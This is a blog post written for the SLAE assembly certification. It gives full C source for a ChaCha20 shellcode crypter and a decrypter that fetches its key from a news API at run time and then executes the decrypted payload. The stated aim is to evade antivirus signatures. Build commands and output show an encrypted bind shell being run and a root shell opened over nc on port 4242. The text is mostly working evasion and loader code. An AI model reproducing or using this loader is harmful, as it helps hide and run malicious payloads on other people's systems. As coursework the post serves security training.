tcunha.github.io

The lesson of history is that no one learns.

SLAE 0x07: Crypter

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:

http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert

Student-ID: SLAE-1154

This final exercise consists in using a custom crypter and decrypter to evade anti-virus engines, since signatures are used most of the time.

They are both taking advantage of the EVP functions provided by OpenSSL. The chosen algorithm was the ChaCha20 stream cipher with a random IV (12 bytes) and a key (32 bytes) retrieved on run-time. The key is the SHA256 of the id of the latest news of a configured section by using the public API provided by The Guardian.

crypter
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
#include <openssl/conf.h>
#include <openssl/err.h>
#include <openssl/evp.h>
#include <openssl/rand.h>

#include <err.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#include "common.h"

unsigned char shellcode[] = STR(SHELLCODE);

int
main(void)
{
  EVP_CIPHER_CTX  *ctx;
  unsigned char    b[BUFSIZ];     /* Crypted buffer (should be enough). */
  unsigned char    iv[12];        /* The IV length is 96 bits. */
  unsigned char    key[32];       /* The key length is 256 bits. */
  unsigned char   *ptr = b;
  int              bl, ol;

  common_key(key);                                /* Get dynamic key. */

  if (RAND_bytes(iv, sizeof iv) == 0)             /* Get a random IV. */
      CRYPTER_SSLERR();
  if ((ctx = EVP_CIPHER_CTX_new()) == NULL)
      CRYPTER_SSLERR();
  if (EVP_EncryptInit_ex(ctx, EVP_chacha20(), NULL, key, iv) == 0)
      CRYPTER_SSLERR();
  if (EVP_EncryptUpdate(
      ctx, b, &bl, shellcode, strlen((char *) shellcode)) == 0)
      CRYPTER_SSLERR();
  if (EVP_EncryptFinal_ex(ctx, b + bl, &ol) == 0)
      CRYPTER_SSLERR();

  /* Check for NUL bytes in the crypted shellcode. */
  while (ptr != b + bl + ol) {    /* Final buffer size is bl plus ol. */
      if (*ptr == 0)
          errx(1, "NUL byte found!"); /* There might be more! */
      ptr++;
  }

  for (ptr = key; ptr != key + sizeof key; ptr++)
      printf("\\x%02x", *ptr);
  puts("");

  /* Print the shellcode prefixed with the randomly generated IV. */
  for (ptr = iv; ptr != iv + sizeof iv; ptr++)
      printf("\\x%02x", *ptr);
  for (ptr = b; ptr != b + bl + ol; ptr++)
      printf("\\x%02x", *ptr);
  puts("");

  return (0);
}

The common key retrieval code depends on cURL. Installing the header and library files, like with OpenSSL, is also needed:

key retrieval
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
#include <curl/curl.h>

#include <openssl/sha.h>

#include <err.h>
#include <stdio.h>
#include <string.h>

#define COMMON_APIKEY           "decfe466-4db7-4a7c-b0b8-f067cceaf94d"
#define COMMON_BASE             "https://content.guardianapis.com"
#define COMMON_ENDPOINT         "/search"
#define COMMON_ENDPOINT_ARGS    "?section=science&page-size=1&api-key="
#define COMMON_URL              \
    COMMON_BASE                 \
    COMMON_ENDPOINT             \
    COMMON_ENDPOINT_ARGS        \
    COMMON_APIKEY

size_t
common_write(char *ptr, size_t size, size_t nmemb, void *userdata)
{
  char    *buf = (char *) userdata;

  strncpy(buf, ptr, BUFSIZ - 1);
  buf[BUFSIZ - 1] = '\0';         /* Guarantee a NUL. */

  return (nmemb * size);          /* Size is always 1; no overflow. */
}

void
common_key(unsigned char *key)
{
  CURL            *curl;
  char            *end;
  const char      *start;
  char             r[BUFSIZ];     /* Response (should be enough). */

  if (curl_global_init(CURL_GLOBAL_ALL) != 0)
      errx(1, "curl_global_init");
  if ((curl = curl_easy_init()) == NULL)
      errx(1, "curl_easy_init");
  if (curl_easy_setopt(curl, CURLOPT_URL, COMMON_URL) != 0)
      errx(1, "curl_easy_setopt");
  if (curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, common_write) != 0)
      errx(1, "curl_easy_perform");
  if (curl_easy_setopt(curl, CURLOPT_WRITEDATA, (void *) &r) != 0)
      errx(1, "curl_easy_perform");
  if (curl_easy_perform(curl) != 0)
      errx(1, "curl_easy_perform");

  /* Generate a key by finding the id and performing a SHA256 over it. */
  if ((start = strstr(r, "id")) == NULL)
      errx(1, "start not found");
  start += 5;                             /* Go over the attribute. */

  if ((end = strchr(start, '"')) == NULL)
      errx(1, "end not found");
  *end = '\0';                            /* Turn it into a NUL byte. */

  /* The key needs to be 32 bytes. */
  printf("Generating key from: %s\n", start);
  SHA256((unsigned char *) start, strlen(start), key);
}
decrypter
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
#include <openssl/conf.h>
#include <openssl/err.h>
#include <openssl/evp.h>

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#include "common.h"

unsigned char shellcode[] = STR(SHELLCODE);

int
main(void)
{
  EVP_CIPHER_CTX  *ctx;
  unsigned char    b[BUFSIZ];
  unsigned char    iv[12];        /* The IV length is 96 bits. */
  unsigned char    key[32];       /* The key length is 256 bits. */
  unsigned char   *ptr = shellcode + 12;
  int              bl, ol;

  common_key(key);                        /* Get dynamic key. */
  memcpy(iv, shellcode, sizeof iv);       /* Save the prefixed IV. */

  if ((ctx = EVP_CIPHER_CTX_new()) == NULL)
      CRYPTER_SSLERR();
  if (EVP_DecryptInit_ex(ctx, EVP_chacha20(), NULL, key, iv) == 0)
      CRYPTER_SSLERR();
  if (EVP_DecryptUpdate(
      ctx, b, &bl, ptr, strlen((char *) shellcode) - sizeof iv) == 0)
      CRYPTER_SSLERR();
  if (EVP_DecryptFinal_ex(ctx, b + bl, &ol) == 0)
      CRYPTER_SSLERR();

  (*(void(*)(void)) b)();         /* Execute decrypted shellcode. */
  return (0);                     /* NOTREACHED */
}

Executing the crypter yields the following output. Like with the previous exercises, the shellcode to execute can be tweaked by the SHELLCODE variable:

1
2
3
4
$ make crypter SHELLCODE=../0x01-bind/bind
Generating key from: science/2018/aug/21/use-of-killer-robots-in-wars-would-breach-law-say-campaigners
\xeb\x97\x33\xb0\xf6\x5a\x73\x32\x31\x34\xc8\x00\x63\x34\x98\x8e\x47\x2d\xdc\x6f\xc4\x1f\x83\x81\xf9\x04\x1b\xc9\x96\x86\x6f\xe2
\xcb\x1a\x5c\x61\x70\x5e\x82\x09\x59\x4f\xe6\x42\x1a\x62\xb9\xa6\x43\x09\xdf\x99\x33\x22\xf4\xfa\x41\xa5\x27\x6a\xe7\xfc\x76\x6a\x86\x5e\xa2\x8b\xf3\x3f\x5c\x90\xe9\xeb\x38\x4a\x0f\x30\xdb\x20\x4a\x8f\xcd\x8a\xa2\x53\xaf\xc4\x03\x1b\xe8\xf5\x9e\xe4\xed\xa6\x43\xc5\x92\xdd\xb9\x20\x0d\x1a\xb0\x95\xe7\x33\xd0\x44\x1b\x05\x47\x1c\x59\x3f\x99\xe1\xd2\x74\x62\x6d\x2b\x85\x55\xe2

The decrypter target already takes care of executing the crypter with the specified shellcode and extracting it from the above output:

1
2
3
4
5
6
7
8
9
10
$ make decrypter
cc -W -Wall -Wformat=2 -fno-stack-protector -zexecstack -ggdb -DSHELLCODE=`./crypter|tail -n1`  -c -o decrypter.o decrypter.c
cc -lcrypto -lcurl -zexecstack  decrypter.o common.o   -o decrypter
# ./decrypter
Generating key from: science/2018/aug/21/use-of-killer-robots-in-wars-would-breach-law-say-campaigners
$ ss -nlt|grep 4242
LISTEN     0      0                                                         *:4242                                                                  *:*
$ nc 127.0.0.1 4242
id
uid=0(root) gid=0(root) groups=0(root)

Printing the contents of the decrypted buffer shows that the shellcode payload was correctly decrypted and is not gibberish unlike the original provided one:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
(gdb) b 36
Breakpoint 1 at 0xb22: file decrypter.c, line 36.
(gdb) r
Starting program: /attic/slae/exam/0x07-crypter/decrypter
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/i386-linux-gnu/libthread_db.so.1".
[New Thread 0xb7a9bb40 (LWP 1008)]
[Thread 0xb7a9bb40 (LWP 1008) exited]
Generating key from: science/2018/aug/21/use-of-killer-robots-in-wars-would-breach-law-say-campaigners

Thread 1 "decrypter" hit Breakpoint 1, main () at decrypter.c:36
36              (*(void(*)(void)) b)();         /* Execute decrypted shellcode. */
(gdb) x/10i b
   0xbfffd648:  xor    eax,eax
   0xbfffd64a:  xor    esi,esi
   0xbfffd64c:  cdq
   0xbfffd64d:  mov    ax,0x167
   0xbfffd651:  push   0x2
   0xbfffd653:  pop    ebx
   0xbfffd654:  push   0x1
   0xbfffd656:  pop    ecx
   0xbfffd657:  int    0x80
   0xbfffd659:  xchg   ebx,eax
(gdb) x/10i ptr
   0x40308c <shellcode+12>:     sti
   0x40308d <shellcode+13>:     outs   dx,BYTE PTR ds:[esi]
   0x40308e <shellcode+14>:     sar    dh,0xcc
   0x403091 <shellcode+17>:     and    cl,BYTE PTR [edi+eiz*8+0x36aa830f]
   0x403098 <shellcode+24>:     outs   dx,BYTE PTR ds:[esi]
   0x403099 <shellcode+25>:     fmul   QWORD PTR [edx-0x6c]
   0x40309c <shellcode+28>:     cmp    al,0xb5
   0x40309e <shellcode+30>:     xchg   BYTE PTR [eax-0x58bfcbc1],dh
   0x4030a4 <shellcode+36>:     or     ah,dl
   0x4030a6 <shellcode+38>:     sub    ecx,esi